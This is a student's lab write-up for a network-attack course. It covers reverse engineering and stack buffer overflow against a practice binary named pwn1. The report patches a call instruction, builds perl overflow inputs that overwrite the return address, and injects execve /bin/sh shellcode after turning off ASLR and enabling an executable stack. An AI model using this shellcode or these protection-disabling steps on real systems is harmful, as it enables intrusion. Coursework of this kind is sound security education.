20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践
20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践
1.实践目标:
实践对象:一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:
- main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
- 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
2.实践基础知识
常用的Linux基本操作
objdump -d:从objfile中反汇编那些特定指令机器码的section。
perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd :为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
| :管道,将前者的输出作为后者的输入。
> :输入输出重定向符,将前者输出的内容输入到后者中。
NOP, JNE, JE, JMP, ++CMP汇编指令的机器码++
1. near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
2. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
4. JNE:条件转移指令,如果不相等则跳转。(机器码:75)
5. JE:条件转移指令,如果相等则跳转。(机器码:74)
6. JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp
下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。
root@KaliYL:~# objdump -d pwn1 | more
0804847d <getShell>:
804847d: 55 push %ebp
...
08048491 <foo>:
8048491: 55 push %ebp
...
080484af <main>:
...
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
...

--
先看第12行,"call 8048491 "是汇编指令
是说这条指令将调用位于地址8048491处的foo函数;
其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
--main函数调用foo,对应机器指令为“ e8 d7ffffff”,
那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
--root@KaliYL:~# cp pwn1 pwn2
root@KaliYL:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd

3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.再反汇编看一下,call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn2 | more
...
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d <getShell>
80484ba: b8 00 00 00 00 mov $0x0,%eax

9.运行下改后的代码,会得到shell提示符#
root@KaliYL:~# ./pwn2
# ls
20135201_met_rtcp_136_443backdoor.exe pwn1.bak
通过构造输入参数,造成BOF攻击,改变程序执行流
知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术
3.1 反汇编,了解程序的基本功能
root@KaliYL:~# objdump -d pwn1 | more
8048477: 90 nop
8048478: e9 73 ff ff ff jmp 80483f0 <register_tm_clones>
== 注意这个函数getShell,我们的目标是触发这个函数 ==
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
== 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
上面的call调用foo,同时在堆栈上压上返回地址值:__________
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
080484d0 <__libc_csu_init>:
--
3.2 确认输入字符串哪几个字符会覆盖到返回地址
root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555
Program received signal SIGSEGV, Segmentation fault.
0x35353535 in ?? ()
(gdb) info r
eax 0x29 41
ecx 0xffffffff -1
edx 0xf7fab870 -134563728
ebx 0x0 0
esp 0xffffd320 0xffffd320
ebp 0x34343434 0x34343434
esi 0xf7faa000 -134569984
edi 0xf7faa000 -134569984
eip 0x35353535 0x35353535 //注意EIP的值,是ASCII 5
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pwn1
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678
Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip 0x34333231 0x34333231
eflags 0x10246 [ PF ZF IF RF ]
(gdb)
如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
--
3.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
--
(gdb) break *0x804849d
Breakpoint 2 at 0x804849d
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y <PENDING> x804849d
2 breakpoint keep y 0x0804849d <foo+12>
(gdb) r
Starting program: /root/pwn1
Breakpoint 2, 0x0804849d in foo ()
(gdb) info r
eip 0x804849d 0x804849d <foo+12>
对比之前 ==eip 0x34333231 0x34333231== ,正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。
--
3.4 构造输入字符串
- 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
root@KaliYL:~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
--
- 可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入,通过管道符“|”,作为pwn1的输入
遇到的问题及解决方案
问题一.没办法联网,自己修改了虚拟机ip地址还是不行。
- 解决方法:
- 1,首先将VM的网卡net8启用:
怎样让VM共享本地网络地址上网 - 2,然后将VM的网卡设置为VMnet8(NAT):
怎样让VM共享本地网络地址上网 - 3,将PC的可以上网的网卡共享:
怎样让VM共享本地网络地址上网
要勾上允许其他网络用户通过此计算机的intenet连接来连接,并选择VMnet8。 - 4,设置VMnet8网卡的默认网关为本地PC可以上网的网卡的IP地址:
怎样让VM共享本地网络地址上网
我可以上网的网卡的IP地址为172.18.216.77,VMnet8的地址为192.168.0.1 - 5,设置VM中网卡的地址为192.168.0.*网段,默认网关为192.168.0.1,并配置好DNS。
怎样让VM共享本地网络地址上网
这样就算设置完成了,在VM中访问网络时,先根据默认网关192.168.0.1,找到了VMnet8网卡,然后根据VMnet8网卡的默认网关172.18.216.77找到了可以上网的网卡,而该网卡已经共享上网,
还有不要没事按360的加速球,贼气人,把后台的vm程序全关了!!!


问题二.安装32位运行库很慢
等,就一个字,等,等三小时!!
1.切换到root用户(大家如果按部就班地安装的话都是root用户)
kali@20154312:~$ su
密码:
- 2.用文本编辑器打开source.list
root@20154312: leafpad /etc/apt/sources.list
- 3.添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
- 4.对软件进行一次整体更新(一共923M的更新包)
apt-get clean
apt-get update
apt-get upgrade
二.安装32位运行库
apt-get install lib32ncurses5
或者
apt-get install lib32z1
4. 注入Shellcode并执行
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
首先使用apt-get install execstack命令安装execstack。
修改以下设置:
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
一定切记要加上32个a,不然地址会出错
接下来确定\x4\x3\x2\x1部分到底需要填什么
打开一个终端注入这段攻击buf,在另一个终端查看pwn1这个进程,发现进程号为2571。

启动gdb调试这个进程:

通过设置断点,来查看注入buf的内存地址:

使用break *0x080484ae设置断点,并输入c继续运行。在pwn5202进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址。

使用x/16x 0xffffd2fc查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是0xffffd2fc。

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可:

再执行程序,攻击成功:


最后切记初始化固定段地址每次启动虚拟机都要重新配置,不然会和我一样蠢的在图书馆三小时不知道哪里错了哈哈哈!!
20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践的更多相关文章
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
- 20145333 《网络对抗技术》 PC平台逆向破解
20145333 <网络对抗技术> PC平台逆向破解 20145333 <网络对抗技术> PC平台逆向破解 Shellcode注入 基础知识 Shellcode实际是一段代码, ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145302张薇《网络对抗技术》PC平台逆向破解
20145302张薇<网络对抗技术>PC平台逆向破解 实验任务 1.简单shellcode注入实验 2.Return-to-libc 攻击实验 实验相关原理 Bof攻击防御技术 从防止注入 ...
- 20145219《网络对抗技术》PC平台逆向破解之逆向与Bof基础
20145219<网络对抗技术>PC平台逆向破解之逆向与Bof基础 实践目标 实践对象:一个名为pwn1的linux可执行文件. pwn1正常执行流程:main调用foo函数,foo函数会 ...
- 20145202 《网络对抗技术》 PC平台逆向破解
20145202 <网络对抗技术> PC平台逆向破解 准备工作 先将环境设置为:堆栈可执行.地址随机化关闭 参考http://git.oschina.net/wildlinux/NetSe ...
- 20162326 Exp1《网络对抗技术》 PC平台逆向破解
1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程 ...
随机推荐
- SSM 项目从搭建爬坑到 CentOS 服务器部署 - 速查手册
SSM 项目从搭建爬坑到 CentOS 服务器部署 - 速查手册 提示: (1)CSDN 博客左边有操作工具条上有文章目录 (2)SSM 指 Spring,Spring MVC,MyBatis Mav ...
- 基于docker搭建jumpserver堡垒机
一.环境信息 1.jumpserver 192.168.137.129 CentOS6.4 kernel版本为 3.10.5-3.el6.x86_64 2.客户机 dev01-04 3.docke ...
- 文档撰写思路与排版(hadoop)
这几天在写项目提交的几个报告,写完回想了一下,在写作框架确定与排版上浪费了不少时间,特此总结一下思路. 这个写完回家过年了....emmmm 1. 定好大标题框架,使用自动添加序号,先不着急修改样式 ...
- python终端总是无法删除字符
yum install readline-devel
- SQLServer中DataLength()和Len()两内置函数的区别(转载)
最近工作中遇到了个问题:在数据库中声明字段类型时char(4),但实际只存储了‘DCE’三个字母,程序中拼装以该字段作为key的Map中,会把‘DCE’+空格作为其Key,这样造成用没加空格的‘DCE ...
- Linux下搭建lnmp环境
前提:假设阅读本文的读者已经拥有基本的linux使用技巧,能够解决系统安装问题,以及软件安装的技巧. 注意: 本文所涉及的主要安装包(需要下载使用的)安装包,在本文最后会给出百度云盘链接,需要使用的, ...
- 团队作业——Beta冲刺1
团队作业--Beta冲刺 冲刺任务安排 杨光海天 今日任务:开会讨论下,Beta阶段主要的冲刺内容 明日任务:根据冲刺内容,具体分配个人任务,对于冲刺内容做准备 吴松青 今日任务:跟新组员熟悉下,联络 ...
- Django商城项目笔记No.10用户部分-登录接口
Django商城项目笔记No.10用户部分-登录接口 添加url路由 接下来第二步,增加返回内容: 增加结果如下: 配置:上边的方法定义了返回的内容都有哪些,那这个方法jwt还不知道,需要配置: 修改 ...
- Excel 怎样去掉单元格中的回车符号
1.同时按下 CTRL+H调出"查找---替换"对话框:2.在查找中输入:按住ALT ,小键盘输入 10 ,然后松开ALT:3.在替换中写入要替换的符号:这样就将回车符换成其他符号 ...
- A “Type Erasure” Pattern that Works in Swift:类型域的转换
新视角:通过函数式编程的范畴理论来看待这个问题会更容易理解: 在低层类型无法很好表达的类型,可以将其转化为高阶类型进行表示. 将协议的实现类型转化为monad类型: 解决将具有关联类型的协议当作类型的 ...





